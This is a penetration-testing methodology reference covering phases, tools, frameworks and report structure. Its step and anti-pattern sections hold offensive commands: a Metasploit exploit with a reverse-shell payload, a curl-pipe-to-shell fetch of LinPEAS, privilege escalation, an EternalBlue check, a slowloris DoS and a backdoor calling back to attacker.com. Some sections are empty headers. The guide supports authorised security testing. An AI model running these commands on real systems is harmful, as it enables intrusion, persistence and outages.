Penetration Testing Methodology: Phases, Tools, and Reporting Guide

Type: Software Reference Confidence: 0.93 Sources: 7 Verified: 2026-02-27 Freshness: 2026-02-27

TL;DR

Constraints

Quick Reference

Penetration Testing Phases and Tools

#PhaseObjectiveKey ToolsMITRE ATT&CK TacticDeliverable
1Pre-engagementDefine scope, ROE, timeline, emergency contactsContract templates, PTES pre-engagement checklist--Signed ROE document
2Reconnaissance (OSINT)Gather publicly available intel on targetNmap, Shodan, theHarvester, Recon-ng, Google Dorks, WHOISReconnaissance (TA0043)Target profile document
3Scanning & EnumerationIdentify live hosts, open ports, services, vulnerabilitiesNmap, Nessus, Nikto, Gobuster, enum4linux, SSLScanDiscovery (TA0007)Port/service/vulnerability list
4Vulnerability AnalysisAnalyze scan results, prioritize exploitable vulnsBurp Suite, OWASP ZAP, Nuclei, searchsploit--Prioritized vulnerability matrix
5ExploitationValidate vulnerabilities by gaining accessMetasploit, Burp Suite Pro, SQLMap, Hydra, John the RipperInitial Access (TA0001), Execution (TA0002)Proof of exploitation
6Post-ExploitationAssess impact: pivot, escalate privileges, exfil dataMeterpreter, BloodHound, Mimikatz, LinPEAS, WinPEASPrivilege Escalation (TA0004), Lateral Movement (TA0008)Impact assessment
7ReportingDocument findings, risk ratings, remediationCustom templates, Dradis, PlexTrac, Serpico--Executive + technical report
8Remediation VerificationRetest after fixes are appliedSame tools as exploitation phase--Retest report

Testing Types

Test TypeKnowledge LevelSimulatesBest For
Black BoxNo prior knowledge of targetExternal attackerRealistic threat simulation
Grey BoxPartial knowledge (credentials, architecture docs)Insider threat or compromised accountEfficient coverage of attack surface
White BoxFull access (source code, network diagrams, admin creds)Comprehensive auditMaximum vulnerability discovery

Major Frameworks Comparison

FrameworkFocusPhasesStrengthsLimitation
PTESGeneral pentest7 (pre-engagement to reporting)Most comprehensive, widely adoptedNot updated frequently
OWASP WSTGWeb application12 testing categoriesDeep web-specific guidanceWeb-only scope
NIST SP 800-115Government/compliance4 (planning, discovery, attack, reporting)Compliance-aligned, risk-basedLess tactical detail
OSSTMM 3Operational security6 channelsMetrics-driven (rav score)Complex, less community support
MITRE ATT&CKAdversary emulation14 tactics, 200+ techniquesMaps to real-world TTPsFramework, not step-by-step methodology

Decision Tree

START: What type of penetration test do you need?
├── Web application?
│   ├── YES → Follow OWASP WSTG v4.2 testing categories
│   │           Tools: Burp Suite, OWASP ZAP, Nikto, SQLMap, Gobuster
│   └── NO ↓
├── Network/infrastructure?
│   ├── YES → Follow PTES methodology + NIST SP 800-115
│   │           Tools: Nmap, Nessus, Metasploit, Responder, CrackMapExec
│   └── NO ↓
├── API testing?
│   ├── YES → OWASP API Security Top 10 + WSTG API sections
│   │           Tools: Burp Suite, Postman, Nuclei, ffuf
│   └── NO ↓
├── Cloud environment?
│   ├── YES → PTES + cloud-specific tools
│   │           Tools: ScoutSuite, Prowler (AWS), az-cli (Azure), CloudSploit
│   └── NO ↓
├── Wireless?
│   ├── YES → OSSTMM wireless channel + PTES
│   │           Tools: Aircrack-ng, Kismet, Wireshark, Wifite
│   └── NO ↓
└── DEFAULT → PTES general methodology + MITRE ATT&CK mapping

Step-by-Step Guide

1. Define scope and rules of engagement

Establish the legal and operational boundaries of the test. Document target systems, IP ranges, testing windows, emergency contacts, and explicitly forbidden actions. [src2]

# Rules of Engagement (ROE) checklist:
- [ ] Target IP ranges / domains / URLs (in-scope)
- [ ] Explicitly out-of-scope systems
- [ ] Testing window (dates, hours, timezone)
- [ ] Test type: black box / grey box / white box
- [ ] Allowed actions: scanning, exploitation, social engineering, DoS
- [ ] Data handling: what to do with discovered PII/credentials
- [ ] Emergency contacts (client POC, escalation path)
- [ ] Communication channels and frequency
- [ ] Signed authorization letter (legal protection)

Verify: Both parties have signed the ROE document. Keep a copy accessible during the entire engagement.

2. Perform passive reconnaissance (OSINT)

Gather publicly available information without directly interacting with the target. [src1]

# DNS enumeration
dig +short target.com ANY
# WHOIS lookup
whois target.com
# Subdomain enumeration
theHarvester -d target.com -b google,bing,linkedin -l 500
# Search for exposed services on Shodan
shodan search hostname:target.com

Verify: Target profile contains: IP ranges, subdomains, employee names/emails, technology stack, and exposed services.

3. Perform active scanning and enumeration

Directly probe the target to identify live hosts, open ports, running services, and their versions. [src6]

# Full port scan with service detection and OS fingerprinting
nmap -sC -sV -O -p- -T4 --open -oA full-scan target.com
# Top 1000 ports quick scan
nmap -sC -sV -T4 --top-ports 1000 -oN quick-scan.txt target.com
# Web directory brute-force
gobuster dir -u https://target.com -w /usr/share/wordlists/dirb/common.txt -o dirs.txt
# Vulnerability scan with Nmap NSE scripts
nmap --script vuln -p 80,443,8080 target.com

Verify: cat full-scan.txt shows open ports, service versions, and OS detection results.

4. Analyze vulnerabilities and prioritize targets

Review scan results, research identified services for known CVEs, and build an exploitation plan. [src1]

# Search for known exploits
searchsploit apache 2.4
searchsploit openssh 8.
# Burp Suite: import target URL, run active scan on discovered endpoints

Verify: Vulnerability matrix created with: Vulnerability, CVE, CVSS Score, Affected Host/Port, Exploitation Feasibility.

5. Exploit validated vulnerabilities

Attempt to exploit confirmed vulnerabilities to prove impact. Document every step with timestamps and screenshots. [src5]

# Metasploit: search and use an exploit
msfconsole -q
msf6> search type:exploit name:apache
msf6> use exploit/multi/http/apache_mod_cgi_bash_env_exec
msf6> set RHOSTS target.com
msf6> set LHOST attacker-ip
msf6> set PAYLOAD linux/x64/meterpreter/reverse_tcp
msf6> exploit

Verify: Successful exploitation produces a shell, extracted data, or modified state. Capture evidence.

6. Perform post-exploitation assessment

After gaining initial access, assess real-world impact: escalate privileges, move laterally, determine reachable data. [src2]

# Meterpreter post-exploitation
meterpreter> sysinfo
meterpreter> getuid
meterpreter> getsystem
meterpreter> run post/multi/recon/local_exploit_suggester
# Linux privilege escalation
curl -L https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh | sh

Verify: Document the maximum access achieved and what data was accessible. Record the full attack chain.

7. Write the penetration test report

Structure the report for two audiences: executives (risk/business impact) and technical teams (reproduction steps, remediation). [src3]

# Report structure:
1. EXECUTIVE SUMMARY (1-2 pages)
2. METHODOLOGY (framework, tools, limitations)
3. FINDINGS (per vulnerability: title, CVSS, PoC, impact, remediation)
4. REMEDIATION PRIORITY MATRIX
5. APPENDICES (scan output, tools, tester details)

Verify: Report includes executive summary, all findings with CVSS scores and PoC evidence, and prioritized remediation.

Code Examples

Bash: Automated Reconnaissance Script

#!/bin/bash
# Input:  target domain and output directory
# Output: reconnaissance files (subdomains, ports, services)

TARGET=$1
OUTDIR="${2:-./recon-$TARGET}"
mkdir -p "$OUTDIR"

echo "[*] Starting recon for $TARGET"
# Subdomain enumeration
subfinder -d "$TARGET" -silent -o "$OUTDIR/subdomains.txt"
# Resolve live hosts
cat "$OUTDIR/subdomains.txt" | httpx -silent -o "$OUTDIR/live-hosts.txt"
# Port scan live hosts
nmap -sC -sV -T4 --open -iL "$OUTDIR/live-hosts.txt" \
  -oA "$OUTDIR/nmap-scan" 2>/dev/null

Python: Nmap Scan Parser

# Input:  Nmap XML output file
# Output: structured list of hosts with ports and services
import xml.etree.ElementTree as ET

def parse_nmap_xml(xml_file: str) -> list[dict]:
    tree = ET.parse(xml_file)
    hosts = []
    for host in tree.getroot().findall("host"):
        addr = host.find("address").get("addr", "")
        ports = []
        for port in host.findall(".//port"):
            svc = port.find("service")
            ports.append({
                "port": int(port.get("portid", 0)),
                "state": port.find("state").get("state", ""),
                "service": svc.get("name", "") if svc else "",
                "version": svc.get("version", "") if svc else "",
            })
        hosts.append({"ip": addr, "ports": ports})
    return hosts

Python: Metasploit RPC Automation

# Input:  target IP and exploit module path
# Output: session ID if exploitation succeeds
import requests  # ^2.31.0

class MetasploitRPC:
    def __init__(self, host="127.0.0.1", port=55553, password="msf"):
        self.url = f"http://{host}:{port}/api/"
        resp = requests.post(self.url, json=["auth.login", password])
        self.token = resp.json()["token"]

    def run_exploit(self, module: str, options: dict) -> dict:
        return requests.post(self.url, json=[
            "module.execute", self.token, "exploit", module, options
        ]).json()
# Usage: msf = MetasploitRPC(password="your-rpc-password")

Anti-Patterns

Wrong: Scanning without authorization

# BAD -- scanning without written authorization is illegal
nmap -sV -p- production-server.company.com
# Even "just scanning" without permission violates CFAA, CMA, etc.

Correct: Verified scope before any scanning

# GOOD -- verify target is in scope before scanning
echo "[*] Confirming target is in ROE scope..."
grep -q "192.168.1.0/24" roe-scope.txt && \
  nmap -sC -sV -T4 192.168.1.0/24 -oA in-scope-scan || \
  echo "ERROR: Target not in scope. Aborting."

Wrong: Using destructive exploits without approval

# BAD -- DoS exploits without explicit approval
msf6> use auxiliary/dos/http/slowloris
msf6> set RHOSTS production.target.com
msf6> run
# This can crash production systems and cause business disruption

Correct: Non-destructive validation with documentation

# GOOD -- validate vulnerability without causing damage
msf6> use exploit/windows/smb/ms17_010_eternalblue
msf6> set RHOSTS 192.168.1.100
msf6> check
# [*] 192.168.1.100:445 - The target is vulnerable.
# Document "check" output as proof -- only exploit with approval

Wrong: Skipping post-exploitation cleanup

# BAD -- leaving backdoors or artifacts on target
meterpreter> run persistence -X -i 10 -p 4444 -r attacker.com
# Persistent backdoors left on client systems create real security risk

Correct: Clean up all artifacts after testing

# GOOD -- remove all testing artifacts and document cleanup
# Cleanup checklist:
# - Remove uploaded tools (linpeas.sh, winpeas.exe, nc.exe)
# - Delete created user accounts
# - Remove cron jobs / scheduled tasks
# - Close reverse shells and tunnels
# - Document all artifacts and their removal status

Common Pitfalls

Diagnostic Commands

# Verify Nmap is installed and check version
nmap --version

# Verify Metasploit is installed and check version
msfconsole --version

# Check if target host is reachable
ping -c 3 target.com

# Verify you can reach target ports
nmap -Pn -p 80,443 target.com

# Check your external IP (for reverse shell LHOST)
curl -s ifconfig.me

# Verify Burp Suite proxy is running
curl -x http://127.0.0.1:8080 -k https://target.com

# Test Metasploit database connectivity
msfconsole -q -x "db_status; exit"

# Check if required tools are installed
which nmap metasploit-framework nikto gobuster sqlmap hydra 2>/dev/null

Version History & Compatibility

Framework/ToolVersionStatusKey Updates
PTESv1.1CurrentRefreshed technical guidelines (2024)
OWASP WSTGv4.2CurrentUpdated testing categories for modern web apps
NIST SP 800-115Rev 1CurrentUpdated May 2021 -- federal standard
OSSTMM3.02CurrentLast major update Dec 2010
MITRE ATT&CKv16CurrentQuarterly updates with new techniques
Nmap7.95CurrentNew NSE scripts, improved OS detection
Metasploit6.4CurrentEDR bypass modules, improved Linux privesc
Burp Suite2024.xCurrentAI-driven scanning hints, smart fuzzing
Kali Linux2024.4CurrentUpdated tool repositories

When to Use / When Not to Use

Use WhenDon't Use WhenUse Instead
Validating security controls with simulated attacksOnly need to check for known CVEs in dependenciesAutomated vulnerability scanning (Nessus, Trivy)
Compliance requires pentest (PCI DSS, SOC 2, ISO 27001)Building security into new code during developmentSecure SDLC (SAST/DAST in CI/CD pipeline)
Assessing real-world exploitability of vulnerabilitiesNeed continuous security monitoringSIEM + EDR solution
Testing incident response readiness (red team exercise)Target system is in active development with no stable releaseCode review instead
Evaluating security after major infrastructure changesNeed to train developers on secure codingSecurity training programs + code review

Important Caveats

Related Units